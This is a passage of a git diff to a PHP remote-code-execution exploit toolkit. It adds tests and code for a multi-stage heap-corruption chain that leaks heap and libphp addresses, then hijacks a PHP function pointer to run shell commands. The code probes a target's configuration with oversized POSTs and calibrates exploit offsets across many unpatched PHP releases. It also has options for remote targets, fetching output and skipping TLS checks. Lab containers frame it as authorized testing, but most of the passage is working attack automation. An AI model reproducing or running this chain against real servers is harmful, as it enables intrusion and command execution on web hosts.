blobs. + self.assertEqual(len(part["name"]), 31) + self.assertTrue(part["name"].startswith("a")) + want = bytes(vessel) if i == 1 else ht + self.assertEqual(part["data"], want) + + def test_vessel_only_differs_at_graft(self): + ht_data, zif = 0x7F00000690D8, 0x7F100056A420 + mod, ex, _ = make_pair() + parts = ves.b2_parts(mod, ex, ht_data, zif, blobs=4, vessel_index=2) + plain, vessel = parts[2]["data"], parts[4]["data"] + self.assertEqual(len(plain), len(vessel)) + diff = [i for i in range(len(plain)) if plain[i] != vessel[i]] + self.assertTrue(set(diff).issubset(set(range(0x88, 0x9C)))) + + +class FireTests(unittest.TestCase): + def test_fire_sends_prime_then_b2(self): + mod, ex, target = make_pair() + chunk, zif = 0x7F0000000000, 0x7F100056A420 + with mock.patch("time.sleep"): + ves.fire(mod, ex, chunk, zif, ves.DEFAULT_HTDATA, + {"early": 160, "pads": [(7, 7)] * 3, + "blobs": 15, "vessel_index": 1}) + self.assertEqual(len(target.posts), 2) + self.assertEqual(len(mod.calls), 2) + + prime_parts, prime_boundary = mod.calls[0] + self.assertEqual(prime_boundary, b"S" * 17) + self.assertEqual(prime_parts, + ves.prime_parts(mod, ex, 160, [(7, 7)] * 3)) + self.assertEqual(target.posts[0][2], + {"Cookie": "PHPSESSID=" + "a" * 32}) + + b2_parts, b2_boundary = mod.calls[1] + self.assertEqual(b2_boundary, b"B" * 10) + self.assertEqual( + b2_parts, + ves.b2_parts(mod, ex, chunk + ves.DEFAULT_HTDATA, zif, 15, 1)) + # B2 carries no cookie: no PHP session must be created for it. + self.assertIsNone(target.posts[1][2]) + + def test_fire_defaults(self): + mod, ex, target = make_pair() + with mock.patch("time.sleep"): + ves.fire(mod, ex, 0x7F0000000000, 0x7F100056A420, + ves.DEFAULT_HTDATA) + prime_parts, _ = mod.calls[0] + # DEFAULTS: early=160, pads 7:7x3 -> the e-field is present. + self.assertEqual(prime_parts[1], + {"name": "e0000000", "data": b"E" * 160}) + + +class RunVesselTests(unittest.TestCase): + def test_dry_run_command(self): + profile = { + "libphp": {"zif_system": "0x56A420", + "zval_ptr_dtor": "0x781FE0", + "htdata": "0x690d8"}, + "stages": {"stage1_n": 841, "stage1_forge_len": 63, + "stage2_t": 406, "stage2_v": 16, + "stage3_mode": "vessel", + "stage3_pads": [[7, 7]] * 3, + "stage3_early": 160, "stage3_blobs": 15, + "stage3_vessel_index": 1}, + } + args = SimpleNamespace( + target="http://127.0.0.1:8160/index.php", command="id>/out/p1", + fetch="", retries=3, no_pre_rotate=False, no_retry_rotate=False, + allow_remote=False, insecure=False, dry_run=True) + ui = SimpleNamespace(commands=[], command=lambda cmd: + ui.commands.append(cmd)) + rc = auto.run_vessel(args, profile, "/tmp/p1", 12, ui) + self.assertEqual(rc, 0) + cmd = ui.commands[0] + self.assertEqual(cmd[:4], + [sys.executable, + str(ROOT / "tools" / "php2shell_vessel.py"), + "-u", "http://127.0.0.1:8160/index.php"]) + for flag, value in (("--zif-offset", "0x56A420"), + ("--dtor-offset", "0x781FE0"), + ("--htdata-offset", "0x690d8"), + ("--stage1-n", "841"), ("--forge-len", "63"), + ("--stage2-t", "406"), ("--stage2-v", "16"), + ("--early", "160"), ("--blobs", "15"), + ("--vessel-index", "1"), ("--pad", "7:7x3"), + ("--proof-file", "/tmp/p1"), + ("--huge-mb", "12"), ("--retries", "3")): + self.assertIn([flag, value], + [cmd[i:i + 2] for i in range(len(cmd) - 1)], flag) + self.assertNotIn("--fetch", cmd) + self.assertNotIn("--allow-remote", cmd) + self.assertNotIn("--insecure", cmd) + + +if __name__ == "__main__": + unittest.main() diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index b5b4861..9d83c01 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -23,7 +23,8 @@ from __future__ import annotations from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls +from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls +from php2shell_vessel import pads_to_spec import argparse import glob @@ -253,6 +254,20 @@ def oom_for(limit: int, profile: dict) -> int: return limit + 12 +# A correct leak is an mmap'd mapping: 0x7f... on amd64, 0xffff... on aarch64. +# Anything below 1 TiB is a small integer or an un-relocated offset that the +# upstream range filter accepts but that silently corrupts every later stage. +MIN_MMAP_ADDR = 0x10000000000 + + +def implausible_leak(sink: dict) -> str | None: + """The leaked value, when it cannot be a real heap/module mapping.""" + value = sink.get("chunk_base") or sink.get("libphp_base") + if value is not None and 0 < value < MIN_MMAP_ADDR: + return hex(value) + return None + + # --------------------------------------------------------------------------- # proof/fetch resolution # --------------------------------------------------------------------------- @@ -400,16 +415,51 @@ def close(self) -> None: pass -def probe_memory_limit(args, ui: UI) -> int | None: - """One-shot OOM probe: the fatal message reveals the target memory_limit.""" +def parse_probe_response(data: bytes) -> dict: + """Read the target configuration out of one probe response. + + Request-startup diagnostics only render with display_errors=On, which is + exactly the mode the stage-1 leak needs: the OOM fatal reveals + memory_limit, the body-size warning reveals post_max_size, and either + message doubles as proof that diagnostics are rendered at all. + """ + out = {"memory_limit": None, "post_max_size": None, + "diagnostics": False, "rejected": False} + m = re.search(rb"Allowed memory size of (\d+) bytes", data) + if m: + out["memory_limit"] = max(1, int(m.group(1)) // (1024 * 1024)) + out["diagnostics"] = True + return out + m = re.search(rb"exceeds the limit of (\d+) bytes", data) + if m: + out["post_max_size"] = int(m.group(1)) + out["diagnostics"] = True + return out + if b"413" in data.split(b"\r\n", 1)[0] or b"Request Entity Too Large" in data: + out["rejected"] = True + return out + for needle in (b"Fatal error:", b"Warning:", b"Deprecated:"): + if needle in data: + out["diagnostics"] = True + break + return out + + +def probe_config(args, ui: UI) -> dict: + """One-shot configuration probe with the same oversized POSTs that used to + only reveal memory_limit. The responses additionally reveal post_max_size + (a value smaller than the OOM body silently blocks the whole chain) and + whether request-startup diagnostics are rendered (display_errors).""" u = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target) host = u.hostname or "" port = u.port or (443 if u.scheme == "https" else 80) path = u.path or "/" import ssl + result = {"memory_limit": None, "post_max_size": None, "display_errors": None} + rejected = False for mb in (16, 64, 256): body = b"big=" + b"A" * (mb * 1024 * 1024) - ui.stage("PROBE", f"memory_limit probe: {mb} MiB body") + ui.stage("PROBE", f"config probe: {mb} MiB body") try: s = socket.create_connection((host, port), timeout=30) if u.scheme == "https": @@ -429,19 +479,44 @@ def probe_memory_limit(args, ui: UI) -> int | None: data += chunk s.close() except OSError: - return None - m = re.search(rb"Allowed memory size of (\d+) bytes", data) + break + parsed = parse_probe_response(data) + if parsed["diagnostics"]: + result["display_errors"] = True + if parsed["memory_limit"]: + result["memory_limit"] = parsed["memory_limit"] + break + if parsed["post_max_size"]: + result["post_max_size"] = parsed["post_max_size"] + break + if parsed["rejected"]: + rejected = True + break + if result["memory_limit"]: + ui.ok(f"detected memory_limit={result['memory_limit']}M") + if result["post_max_size"]: + ui.ok(f"detected post_max_size={result['post_max_size'] // (1024 * 1024)}M") + if result["display_errors"]: + ui.ok("display_errors=On (request-startup diagnostics are rendered)") + elif rejected: + ui.warn("body rejected by the server (413); target config unknown") + else: + ui.warn("no request-startup diagnostics seen; display_errors may be Off " + "(stage 1 depends on it)") + return result + + +def _capture_leaks(text: str, sink: dict) -> None: + """Collect the leaked bases from upstream output lines.""" + for key, label in (("chunk_base", "chunk base"), ("libphp_base", "libphp base")): + m = re.search(label + r" = (0x[0-9a-fA-F]+)", text) if m: - limit = max(1, int(m.group(1)) // (1024 * 1024)) - ui.ok(f"detected memory_limit={limit}M") - return limit - if b"413" in data.split(b"\r\n", 1)[0] or b"Request Entity Too Large" in data: - ui.warn("body rejected by the server; cannot probe the memory limit") - return None - return None + sink[key] = int(m.group(1), 16) -def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> int: +def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True, + sink: dict | None = None) -> int: + """Run the upstream exploit; sink (optional) collects the leaked bases.""" repo = args.repo_dir if not os.path.isfile(os.path.join(repo, "exploit.py")): ui.crit(f"{repo}/exploit.py not found; clone 9bie/php2shell-bypass-aslr-exp") @@ -450,6 +525,12 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> if not lib.get("zif_system") or not lib.get("zval_ptr_dtor"): ui.crit("profile has no libphp offsets") return 3 + stages = profile.get("stages") or {} + if stages.get("stage3_mode") == "vessel": + if not lib.get("htdata"): + ui.crit("vessel profile has no htdata offset") + return 3 + return run_vessel(args, profile, proof, huge_mb, ui, stream, sink) cmd = [sys.executable, os.path.join(repo, "exploit.py"), "-u", args.target, "-c", args.command, "--profile", profile.get("upstream_profile", "bookworm"), @@ -478,7 +559,6 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> return 0 env = os.environ.copy() - stages = profile.get("stages") or {} for key, env_key in (("stage1_n", "P2S_STAGE1_N"), ("stage1_forge_len", "P2S_FORGE_LEN"), ("stage2_t", "P2S_STAGE2_T"), @@ -486,8 +566,64 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> if stages.get(key) is not None: env[env_key] = str(stages[key]) + return _run_exploit_cmd(cmd, ui, stream, sink, env) + + +def run_vessel(args, profile, proof, huge_mb, ui: UI, stream: bool = True, + sink: dict | None = None) -> int: + """Run the vessel stage-3 chain (early-8.5 layouts). + + Same leaks as upstream; stage 3 steers the dangling reference onto B2's + blob page instead of landing a carrier string on it + (tools/php2shell_vessel.py has the technique). + """ + lib = profile.get("libphp") or {} + stages = profile.get("stages") or {} + cmd = [sys.executable, os.path.join(HERE, "php2shell_vessel.py"), + "-u", args.target, "-c", args.command, + "--proof-file", proof, + "--zif-offset", str(lib["zif_system"]), + "--dtor-offset", str(lib["zval_ptr_dtor"]), + "--htdata-offset", str(lib["htdata"])] + for key, arg in (("stage1_n", "--stage1-n"), + ("stage1_forge_len", "--forge-len"), + ("stage2_t", "--stage2-t"), + ("stage2_v", "--stage2-v"), + ("stage3_early", "--early"), + ("stage3_blobs", "--blobs"), + ("stage3_vessel_index", "--vessel-index")): + if stages.get(key) is not None: + cmd += [arg, str(stages[key])] + if stages.get("stage3_pads"): + cmd += ["--pad", pads_to_spec(stages["stage3_pads"])] + if args.fetch: + cmd += ["--fetch", args.fetch] + if huge_mb: + cmd += ["--huge-mb", str(huge_mb)] + if args.retries is not None: + cmd += ["--retries", str(args.retries)] + if args.no_pre_rotate: + cmd += ["--no-pre-rotate"] + if args.no_retry_rotate: + cmd += ["--no-retry-rotate"] + if args.allow_remote: + cmd += ["--allow-remote"] + if args.insecure: + cmd += ["--insecure"] + + if args.dry_run: + ui.command(cmd) + return 0 + return _run_exploit_cmd(cmd, ui, stream, sink) + + +def _run_exploit_cmd(cmd, ui: UI, stream: bool, sink: dict | None = None, + env: dict | None = None) -> int: + """Stream an exploit subprocess, optionally collecting leaked bases.""" if not stream: result = subprocess.run(cmd, capture_output=True, text=True, env=env) + if sink is not None: + _capture_leaks(result.stdout, sink) if result.returncode != 0: tail = (result.stdout + result.stderr).strip().splitlines()[-4:] for line in tail: @@ -499,6 +635,8 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> assert proc.stdout is not None for line in proc.stdout: ui.upstream(line.rstrip()) + if sink is not None: + _capture_leaks(line, sink) return proc.wait() @@ -533,7 +671,7 @@ def main() -> int: ap.add_argument("--huge-mb", type=int, default=None, help="explicit OOM field size in MiB") ap.add_argument("--no-probe", action="store_true", - help="do not probe the memory limit; sweep instead") + help="do not probe memory_limit/post_max_size/display_errors") ap.add_argument("--retries", type=int, default=None, help="upstream attempts per stage (default 3; stage 3 uses +2)") ap.add_argument("--no-pre-rotate", action="store_true", @@ -624,6 +762,9 @@ def main() -> int: ui.result(False, "NOT CONFIRMED", "PHP version not identified") return 3 ui.ok(f"PHP {version} · {server}") + if not powered: + ui.warn("no X-Powered-By header (expose_php=Off): the startup heap differs and " + "the profile's stage-3 pads were calibrated with expose_php=On") cls = classify(version) if not cls: @@ -675,6 +816,9 @@ def main() -> int: ui.warn("refusing to run an RCE profile against a different build") profile = dict(profile) profile["rce"] = False + profile["_refusal"] = (f"no verified profile for PHP {version}; refusing to " + f"re-use the {profile['php_version']} RCE profile " + f"against a different build") target_distro = detect_distro(server) profile_distro = normalize_distro(profile.get("distro") or profile.get("name", "")) @@ -699,19 +843,25 @@ def main() -> int: ui.warn("remote target without a fetch path; the command runs blind") if not profile.get("rce"): - ui.crit("profile has no verified RCE stage") - for key in ("status", "measured"): - if profile.get(key): - ui.info(f"{key}: {profile[key]}") + if profile.get("_refusal"): + ui.crit(profile["_refusal"]) + else: + ui.crit("profile has no verified RCE stage") + for key in ("status", "measured"): + if profile.get(key): + ui.info(f"{key}: {profile[key]}") if args.assess: tool = os.path.join(HERE, "php2shell_assess.py") if os.path.isfile(tool): ui.stage("ASSESS", "running exposure/leak assessment") return subprocess.call([sys.executable, tool, "--target", args.target]) - ui.result(False, "NO VERIFIED RCE", profile.get("status", profile["name"])) + detail = (f"no verified profile for PHP {version}" if profile.get("_refusal") + else profile.get("status", profile["name"])) + ui.result(False, "NO VERIFIED RCE", detail) return 2 patch_params(args.repo_dir) + patch_cookie_decode(args.repo_dir) if args.insecure: patch_tls(args.repo_dir) @@ -754,18 +904,37 @@ def main() -> int: ui.result(False, "COMMAND TOO LONG", args.command) return 4 + detected = {"memory_limit": None, "post_max_size": None, "display_errors": None} + if not args.no_probe: + detected = probe_config(args, ui) if args.huge_mb: limits = [max(args.huge_mb - 12, 1)] elif args.memory_limit_mb: limits = [args.memory_limit_mb] elif args.no_auto_memory: limits = [8] - elif not args.no_probe: - detected = probe_memory_limit(args, ui) - limits = [detected] if detected else [8, 16, 32, 64, 128, 256, 512] + elif detected["memory_limit"]: + limits = [detected["memory_limit"]] else: limits = [8, 16, 32, 64, 128, 256, 512] + if detected.get("post_max_size"): + # The stage-1 body is memory_limit+12M; a smaller post_max_size makes + # PHP reject it before parsing (no OOM, no leak, no error). Drop the + # candidates it would block so the sweep never wastes a run on them. + post_mb = detected["post_max_size"] // (1024 * 1024) + feasible = [l for l in limits if oom_for(l, profile) <= post_mb] + dropped = [l for l in limits if oom_for(l, profile) > post_mb] + if dropped: + ui.warn(f"post_max_size={post_mb}M would reject the OOM bodies for {dropped}; skipped") + if not feasible: + ui.crit(f"post_max_size={post_mb}M rejects every candidate OOM body") + ui.info("the chain posts memory_limit+12M; a smaller post_max_size " + "blocks the request before PHP parses it") + ui.result(False, "CONFIG BLOCKED", f"post_max_size={post_mb}M < required OOM body") + return 2 + limits = feasible + pins = None pin_total = 0 pin_arg = args.pin_workers @@ -808,13 +977,29 @@ def main() -> int: rc = 1 for limit in limits: huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile) - ui.stage("EXECUTE", f"memory_limit={limit}M · huge_mb={huge}") - if proof and os.path.exists(proof): - try: - os.unlink(proof) - except OSError: - pass - rc = run_upstream(args, profile, proof, huge, ui) + # One retry per candidate: a failed run still evolves the worker heap, + # and a garbage stage-1 leak (see implausible_leak) only ever fails + # after every internal attempt has been wasted on it. + for attempt in (1, 2): + label = f"memory_limit={limit}M · huge_mb={huge}" + if attempt > 1: + label += f" · retry {attempt - 1}" + ui.stage("EXECUTE", label) + if proof and os.path.exists(proof): + try: + os.unlink(proof) + except OSError: + pass + sink = {} + rc = run_upstream(args, profile, proof, huge, ui, sink=sink) + if rc == 0 or args.dry_run: + break + bad = implausible_leak(sink) + if bad and attempt == 1: + ui.warn(f"stage 1 leaked {bad}, not a mapped heap address " + "(layout drifted from the profile); retrying") + continue + break if rc == 0: break if not args.dry_run: diff --git a/tools/php2shell_calibrate.py b/tools/php2shell_calibrate.py index 3923503..fca59f1 100755 --- a/tools/php2shell_calibrate.py +++ b/tools/php2shell_calibrate.py @@ -29,14 +29,23 @@ --proof-file /tmp/php2shell-rce/out/p1 Options --stage1-n / --stage1-len / --stage2-t / --stage3-htdata / --stage3-pads -skip the corresponding search when you already know the values. +skip the corresponding search when you already know the values. --stage3-sweep +START:END:STEP replaces the known-layout list with an htdata range (use with +--stage3-pads) for builds whose layout none of the known offsets matches. +--stage3-mode vessel switches stage 3 to the variant for early-8.5 layouts +(see tools/php2shell_vessel.py); --stage3-early / --pad / --stage3-blobs / +--stage3-vessel-index shape it. Authorized testing only. """ from __future__ import annotations from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls +from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls +from php2shell_vessel import DEFAULTS as VESSEL_DEFAULTS +from php2shell_vessel import DEFAULT_HTDATA as VESSEL_HTDATA +from php2shell_vessel import fire as vessel_fire +from php2shell_vessel import parse_pads as parse_vessel_pads import argparse import importlib.util @@ -105,6 +114,18 @@ def extract_symbols(repo: str, container: str) -> dict: script = os.path.join(repo, "docker", "offsets.py") if not os.path.isfile(script): raise SystemExit(f"{script} not found") + # The upstream script only knows /usr/lib/apache2/modules/libphp.so; + # official php:7.4 images name the module libphp7.so. Bridge the two + # with a real copy (docker cp preserves symlinks, so a symlink would + # arrive on the host dangling) and never shadow a real libphp.so. + probe = subprocess.run( + ["docker", "exec", container, "sh", "-c", + "test -e /usr/lib/apache2/modules/libphp7.so" + " && ! test -e /usr/lib/apache2/modules/libphp.so"]) + if probe.returncode == 0: + subprocess.run(["docker", "exec", container, "cp", "-L", + "/usr/lib/apache2/modules/libphp7.so", + "/usr/lib/apache2/modules/libphp.so"], check=False) print("[*] extracting libphp symbols from", container) subprocess.run([sys.executable, script, container], check=True) env = os.path.join(repo, "out", "offsets.env") @@ -270,37 +291,106 @@ def calibrate_stage2(mod, ex, dtor, hints): def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints): if not chunk or not lib: return False, None + if hints.get("stage3_mode") == "vessel": + return calibrate_stage3_vessel(mod, ex, chunk, lib, zif, proof, hints) + # Stage 3 is probabilistic even with the right layout (upstream's CLI + # retries it five times by default), so give every layout several shots. + attempts = max(1, int(hints.get("stage3_attempts") or 5)) layouts = [] if hints.get("stage3_htdata"): layouts.append(("hint", hints["stage3_htdata"], hints.get("stage3_pads", "bookworm"))) + elif hints.get("stage3_sweep"): + start, end, step = hints["stage3_sweep"] + pads = hints.get("stage3_pads", "bookworm") + layouts = [(f"{hex(off)}/{pads}", off, pads) for off in range(start, end, step)] else: for off in (0x690D8, 0x6E0D8, 0x5404A): for pads in ("bookworm", "lab"): layouts.append((f"{hex(off)}/{pads}", off, pads)) for name, off, pads in layouts: - try: - if os.path.exists(proof): - os.unlink(proof) - except OSError: - pass if pads == "lab": ex.stage3_carrier = False ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5 else: ex.stage3_carrier = True ex.stage3_pads = [(31, 31)] * 6 - try: - ex.rotate() - ex.stage3(chunk + off, lib + zif) - except Exception as exc: - print(f" stage3 {name}: {exc}") - if os.path.exists(proof) and os.path.getsize(proof) > 0: - print(f"[+] stage3 {name}: {open(proof).read().strip()}") - return True, {"htdata": off, "pads": pads} - print(f" stage3 {name}: no proof") + for attempt in range(1, attempts + 1): + try: + if os.path.exists(proof): + os.unlink(proof) + except OSError: + pass + try: + # A fresh worker restores the deterministic heap before every + # attempt (upstream rotates the same way in its retry loop). + ex.rotate() + ex.stage3(chunk + off, lib + zif) + except Exception as exc: + print(f" stage3 {name} try {attempt}/{attempts}: {exc}") + if os.path.exists(proof) and os.path.getsize(proof) > 0: + print(f"[+] stage3 {name} try {attempt}/{attempts}: {open(proof).read().strip()}") + return True, {"htdata": off, "pads": pads, + "mode": "carrier" if pads == "bookworm" else "lab"} + if attempts > 1: + print(f" stage3 {name} try {attempt}/{attempts}: no proof") return False, None +def calibrate_stage3_vessel(mod, ex, chunk, lib, zif, proof, hints): + """Stage 3 for early-8.5 layouts: S steers the dangling reference onto + B2's blob page (tools/php2shell_vessel.py has the technique).""" + attempts = max(1, int(hints.get("stage3_attempts") or 5)) + params = { + "early": hints.get("stage3_early") or VESSEL_DEFAULTS["early"], + "pads": hints.get("stage3_vessel_pads") + or [tuple(p) for p in VESSEL_DEFAULTS["pads"]], + "blobs": hints.get("stage3_blobs") or VESSEL_DEFAULTS["blobs"], + "vessel_index": hints.get("stage3_vessel_index", + VESSEL_DEFAULTS["vessel_index"]), + } + if hints.get("stage3_htdata"): + offsets = [hints["stage3_htdata"]] + elif hints.get("stage3_sweep"): + start, end, step = hints["stage3_sweep"] + offsets = list(range(start, end, step)) + else: + offsets = [VESSEL_HTDATA] + for off in offsets: + for attempt in range(1, attempts + 1): + try: + if os.path.exists(proof): + os.unlink(proof) + except OSError: + pass + try: + # S must be the first heavy request on a fresh worker. + ex.rotate() + vessel_fire(mod, ex, chunk, zif, off, params) + except Exception as exc: + print(f" stage3 {hex(off)}/vessel try {attempt}/{attempts}: {exc}") + if os.path.exists(proof) and os.path.getsize(proof) > 0: + print(f"[+] stage3 {hex(off)}/vessel try {attempt}/{attempts}: " + f"{open(proof).read().strip()}") + return True, {"htdata": off, "mode": "vessel", **params} + if attempts > 1: + print(f" stage3 {hex(off)}/vessel try {attempt}/{attempts}: no proof") + return False, None + + +def parse_sweep(text: str): + """--stage3-sweep START:END:STEP — an inclusive/exclusive htdata range.""" + parts = text.split(":") + if len(parts) != 3: + raise argparse.ArgumentTypeError("expected START:END:STEP") + try: + start, end, step = (int(p, 0) for p in parts) + except ValueError: + raise argparse.ArgumentTypeError("START:END:STEP must be integers") + if step <= 0 or end <= start: + raise argparse.ArgumentTypeError("need END > START and STEP > 0") + return (start, end, step) + + def container_arch(container: str) -> str | None: try: result = subprocess.run(["docker", "exec", container, "uname", "-m"], @@ -324,6 +414,24 @@ def main() -> int: ap.add_argument("--stage2-v", type=int, default=16) ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0)) ap.add_argument("--stage3-pads", choices=("bookworm", "lab")) + ap.add_argument("--stage3-attempts", type=int, default=5, + help="attempts per stage-3 layout; stage 3 is probabilistic " + "even when the layout is right (upstream retries 5x)") + ap.add_argument("--stage3-sweep", type=parse_sweep, metavar="START:END:STEP", + help="sweep htdata offsets (hex ok) instead of trying the known " + "layouts; pads come from --stage3-pads (default bookworm)") + ap.add_argument("--stage3-mode", choices=("carrier", "vessel"), default="carrier", + help="stage-3 variant: upstream carrier layout, or the vessel " + "technique for early-8.5 builds (default: carrier)") + ap.add_argument("--stage3-early", type=int, + help="vessel mode: bytes of the S-side early steering field " + "(default 160, one bin-13 page)") + ap.add_argument("--pad", type=parse_vessel_pads, metavar="NL:VLxCOUNT,...", + help="vessel mode: S pads (default 7:7x3)") + ap.add_argument("--stage3-blobs", type=int, + help="vessel mode: number of B2 fake-HashTable blobs (default 15)") + ap.add_argument("--stage3-vessel-index", type=int, + help="vessel mode: blob index carrying the reference pattern (default 1)") ap.add_argument("--distro", default="unknown") ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None) args = ap.parse_args() @@ -339,6 +447,7 @@ def main() -> int: return 3 patch_params(args.repo_dir) + patch_cookie_decode(args.repo_dir) if args.target.startswith("https://"): patch_tls(args.repo_dir) @@ -376,7 +485,9 @@ def main() -> int: "fixed_in": f"{branch}.{fixed}" if fixed else None, "sapi": "apache2handler", "arch": arch, - "distro": "debian" if "bookworm" in args.distro else args.distro, + "distro": ("debian" if any(x in args.distro for x in + ("bookworm", "bullseye", "buster", "trixie")) + else args.distro), "verified": rce, "rce": rce, "oom_mb": 12, @@ -391,19 +502,29 @@ def main() -> int: "stage1_forge_len": forge_len, "stage2_t": t_index, "stage2_v": args.stage2_v, - "stage3_pads": ([[31, 31]] * 6 if stage3 and stage3["pads"] == "bookworm" - else ([(8, 7)] + [(7, 7)] * 5 if stage3 else None)), - "stage3_carrier": (stage3["pads"] == "bookworm") if stage3 else None, + "stage3_mode": stage3["mode"] if stage3 else None, + "stage3_pads": ([list(p) for p in stage3["pads"]] + if stage3 and stage3["mode"] == "vessel" + else ([[31, 31]] * 6 if stage3 and stage3["pads"] == "bookworm" + else ([(8, 7)] + [(7, 7)] * 5 if stage3 else None))), + "stage3_carrier": ((stage3["pads"] == "bookworm") + if stage3 and stage3["mode"] != "vessel" + else (False if stage3 else None)), }, "config": cfg, "measured": { "chunk_base": hex(chunk) if chunk else None, "libphp_base": hex(lib) if lib else None, }, - "status": ("RCE verified" if rce else - ("leaks calibrated; stage 3 not verified" if (chunk and lib) - else "calibration failed: heap/libphp leak not reproduced")), + "status": ("RCE verified" if rce and stage3 and stage3["mode"] != "vessel" + else ("RCE verified (vessel stage 3)" if rce else + ("leaks calibrated; stage 3 not verified" if (chunk and lib) + else "calibration failed: heap/libphp leak not reproduced"))), } + if stage3 and stage3.get("mode") == "vessel": + profile["stages"]["stage3_early"] = stage3["early"] + profile["stages"]["stage3_blobs"] = stage3["blobs"] + profile["stages"]["stage3_vessel_index"] = stage3["vessel_index"] os.makedirs(args.out_dir, exist_ok=True) path = os.path.join(args.out_dir, f"{version}-{args.distro}.json") with open(path, "w", encoding="utf-8") as fh: diff --git a/tools/php2shell_inventory.py b/tools/php2shell_inventory.py index be3ace7..a6b9806 100644 --- a/tools/php2shell_inventory.py +++ b/tools/php2shell_inventory.py @@ -20,7 +20,7 @@ PROFILES = os.path.join(ROOT, "profiles") COLUMNS = ("PHP", "build", "zif_system", "zval_ptr_dtor", "htdata", - "stage1_n", "forge", "stage2_t", "RCE") + "stage1_n", "forge", "stage2_t", "stage3", "RCE") def load_profiles(directory: str): @@ -41,9 +41,10 @@ def load_profiles(directory: str): "zif_system": lib.get("zif_system") or "-", "zval_ptr_dtor": lib.get("zval_ptr_dtor") or "-", "htdata": lib.get("htdata") or "-", - "stage1_n": stages.get("stage1_n", "-"), - "forge": stages.get("stage1_forge_len", "-"), - "stage2_t": stages.get("stage2_t", "-"), + "stage1_n": stages.get("stage1_n") if stages.get("stage1_n") is not None else "-", + "forge": stages.get("stage1_forge_len") if stages.get("stage1_forge_len") is not None else "-", + "stage2_t": stages.get("stage2_t") if stages.get("stage2_t") is not None else "-", + "stage3": stages.get("stage3_mode") or "-", "rce": bool(data.get("rce")), "status": data.get("status", ""), "file": os.path.relpath(path, ROOT), @@ -78,6 +79,7 @@ def main() -> int: str(r["stage1_n"]).ljust(widths["stage1_n"]), str(r["forge"]).ljust(widths["forge"]), str(r["stage2_t"]).ljust(widths["stage2_t"]), + str(r["stage3"]).ljust(widths["stage3"]), ("yes" if r["rce"] else "no").ljust(widths["RCE"]), ])) verified = sum(1 for r in rows if r["rce"]) diff --git a/tools/php2shell_labs.py b/tools/php2shell_labs.py index 86f8fae..8f81f86 100755 --- a/tools/php2shell_labs.py +++ b/tools/php2shell_labs.py @@ -5,7 +5,7 @@ profile/offset inventory. Each lab is an official PHP Apache image with: - - display_errors=On, memory_limit=8M, post_max_size=64M (lab/rce/php.ini) + - display_errors=On, memory_limit=8M, post_max_size=512M (lab/rce/php.ini) - one prefork worker (lab/rce/apache.conf) - a minimal webroot (lab/rce/webroot) - a per-lab /out mount for the proof file @@ -45,6 +45,17 @@ ("8.3.35", "php:8.3.35-apache", 8104), ("8.4.26", "php:8.4.26-apache", 8105), ("8.5.11", "php:8.5.11-apache", 8106), + # Real-world subversions (mirror the matrix factory builds). + ("8.2.28", "php:8.2.28-apache", 8120), + ("8.3.20", "php:8.3.20-apache", 8121), + ("8.4.2", "php:8.4.2-apache", 8122), + ("8.4.5", "php:8.4.5-apache", 8123), + ("8.4.10", "php:8.4.10-apache", 8124), + ("8.4.20", "php:8.4.20-apache", 8125), + ("8.4.25", "php:8.4.25-apache", 8126), + ("8.5.0", "php:8.5.0-apache", 8127), + ("8.5.5", "php:8.5.5-apache", 8128), + ("8.5.10", "php:8.5.10-apache", 8129), ] @@ -139,6 +150,12 @@ def main() -> int: ap.add_argument("--only", default=None, help="comma-separated versions for 'up'") args = ap.parse_args() only = set(args.only.split(",")) if args.only else None + if only is not None: + unknown = sorted(only - {version for version, _image, _port in BUILDS}) + if unknown: + print(f"unknown version(s) in --only: {', '.join(unknown)}", file=sys.stderr) + print(f"available: {', '.join(v for v, _i, _p in BUILDS)}", file=sys.stderr) + return 2 if args.command == "up": up(only) elif args.command == "down": diff --git a/tools/php2shell_matrix.py b/tools/php2shell_matrix.py index cfdc83d..8298e63 100755 --- a/tools/php2shell_matrix.py +++ b/tools/php2shell_matrix.py @@ -42,6 +42,45 @@ {"key": "8.5.11", "image": "php:8.5.11-apache", "port": 8093}, {"key": "8.4.25", "image": "php:8.4.25-apache", "port": 8108}, {"key": "8.5.10", "image": "php:8.5.10-apache", "port": 8109}, + # Real-world subversions: unpatched builds that deployed systems actually + # run. 8.4.0, 8.4.3 and 8.4.9 tags are absent from Docker Hub; 8.4.2 is + # the earliest available 8.4. EOL branches ship from bullseye/buster + # images. + {"key": "8.5.5", "image": "php:8.5.5-apache", "port": 8110}, + {"key": "8.5.0", "image": "php:8.5.0-apache", "port": 8111}, + {"key": "8.4.20", "image": "php:8.4.20-apache", "port": 8112}, + {"key": "8.4.10", "image": "php:8.4.10-apache", "port": 8113}, + {"key": "8.4.5", "image": "php:8.4.5-apache", "port": 8114}, + {"key": "8.4.2", "image": "php:8.4.2-apache", "port": 8115}, + {"key": "8.3.20", "image": "php:8.3.20-apache", "port": 8116}, + {"key": "8.2.28", "image": "php:8.2.28-apache", "port": 8117}, + {"key": "8.1.34", "image": "php:8.1-apache", "distro": "bullseye", "port": 8118}, + {"key": "7.4.33", "image": "php:7.4-apache", "distro": "buster", "port": 8119}, + # Fill the subversion gaps inside the vulnerable windows: 8.4.5 is + # chunk-only and 8.4.10 gets RCE, so 8.4.6-8.4.9 mark the 8.4 boundary; + # 8.5.0/8.5.5 are leaks-only and 8.5.10 gets RCE, so 